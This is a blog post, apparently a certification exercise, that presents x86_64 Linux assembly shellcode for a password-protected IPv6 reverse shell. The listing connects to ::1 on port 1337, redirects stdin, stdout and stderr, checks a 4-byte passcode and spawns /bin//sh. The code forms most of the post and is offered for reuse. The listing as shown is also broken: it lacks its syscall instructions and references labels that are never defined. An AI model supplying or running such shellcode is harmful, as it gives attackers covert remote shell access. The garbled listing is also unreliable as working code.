Password Protected TCP Reverse Shell (IPv6) - Linux x86_64

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In this post we will create a custom TCP reverse shell for Linux x86_64 architecture that requires password to spawn a shell. This post is a continuation of Password Protected Tcp Bind Shell ~ Linux X86_64 and since my previous posts include an in-depth analysis of the functions used in reverse shells we won’t spend too much time there.


I’ve decided to create an IPv6 reverse shell this time around for two reasons, the first being I haven’t done any before and the second is for some reason msfvenom don’t have one for x86_64 so the final shellcode might be of use to somebody, maybe.

➜  ~ msfvenom -l payloads | grep linux/x64
    linux/x64/exec                                      Execute an arbitrary command
    linux/x64/meterpreter/bind_tcp                      Inject the mettle server payload (staged). Listen for a connection
    linux/x64/meterpreter/reverse_tcp                   Inject the mettle server payload (staged). Connect back to the attacker
    linux/x64/meterpreter_reverse_http                  Run the Meterpreter / Mettle server payload (stageless)
    linux/x64/meterpreter_reverse_https                 Run the Meterpreter / Mettle server payload (stageless)
    linux/x64/meterpreter_reverse_tcp                   Run the Meterpreter / Mettle server payload (stageless)
    linux/x64/shell/bind_tcp                            Spawn a command shell (staged). Listen for a connection
    linux/x64/shell/reverse_tcp                         Spawn a command shell (staged). Connect back to the attacker
    linux/x64/shell_bind_tcp                            Listen for a connection and spawn a command shell
    linux/x64/shell_bind_tcp_random_port                Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
    linux/x64/shell_find_port                           Spawn a shell on an established connection
    linux/x64/shell_reverse_tcp                         Connect back to attacker and spawn a command shell
➜  ~ 

Creating an IPv6 reverse shell is not rocket science, all we need is use AF_INET6 as domain when calling socket() function and use IPv6 structure to specify what IP and port we want amongst other things (I used localhost ::1 in this case). Lastly, we need to accommodate for the structure length when calling connect() function using RDX register.

Address format
           struct sockaddr_in6 {
               sa_family_t     sin6_family;   /* AF_INET6 */
               in_port_t       sin6_port;     /* port number */
               uint32_t        sin6_flowinfo; /* IPv6 flow information */
               struct in6_addr sin6_addr;     /* IPv6 address */
               uint32_t        sin6_scope_id; /* Scope ID (new in 2.4) */

           struct in6_addr {
               unsigned char   s6_addr[16];   /* IPv6 address */

The following is the final null-free shellcode. Please refer to the link of my previous post in the introduction section to learn more about read() function used in the password check routine.

section .text

global _start


	; int socket(int domain, int type, int protocol)
	; rax=41, rdi=10, rsi=1, rdx=0
	xor esi,esi
	mul esi                
	inc esi
	push 10 
	pop rdi
	add al, 41

	; save socket fd in rdi
	xchg rbx,rax

	; struct sockaddr_in6 struct
	push rdx			            ; scope id = 0
	mov rcx,0xFEFFFFFFFFFFFFFF      ; link local address ::1
	not rcx
	push rcx
	push rdx
	push rdx                        ; sin6_flowinfo=0
	push word 0x3905		        ; port 1337
	push word 10     		        ; sin6_family

	; int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen)
	; rax=42, rdi=rbx(fd), rsi=sockaddr_inet6, rdx=28 (length)
	push 	rbx
	pop 	rdi
	push 	rsp
	pop 	rsi
	push 	28
	pop 	rdx
	push 	42
	pop 	rax

	; dup2 (new, old)
	; rax=33, rdi=new fd, rsi=0,1,2 (stdin, stdout, stderr)
	xchg   rsi, rax
	push 0x3
	pop rsi
	push 0x21
	pop rax
	dec esi
	loopnz _loop

	; read (int fd, void *bf, size_t count)
	; rax=0, rdi=0 (stdin), rsi=rsp, rdx=4 (pwnd)
	xor rax, rax
	push rax
	pop rdi
	push rax
	push rsp
	pop rsi
	push 0x4
	pop rdx

	; check passcode (pwnd)
	push 0x646e7770
	pop rbx
	cmp dword [rsi], ebx
	jne _nop

	; int execve(cont char *filename, char *const argv[], char *const envp[])
	; rax=59, rdi=/bin//sh, rsi=0, rdx=0
	xor rax, rax
	push rax
	mov rbx, 0x68732f2f6e69622f
	push rbx
	push rsp
	pop rdi
	push rax
	push rsp
	pop rsi
	push 0x3b
	pop rax


Now its demo time.

Closing Thoughts

I did learn a thing or two about IPv6 addressing while crafting this shellcode and I hope you did too. All of the above code are available on my github or exploit-db. Feel free to contact me for questions via Twitter @ihack4falafel.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE64–1579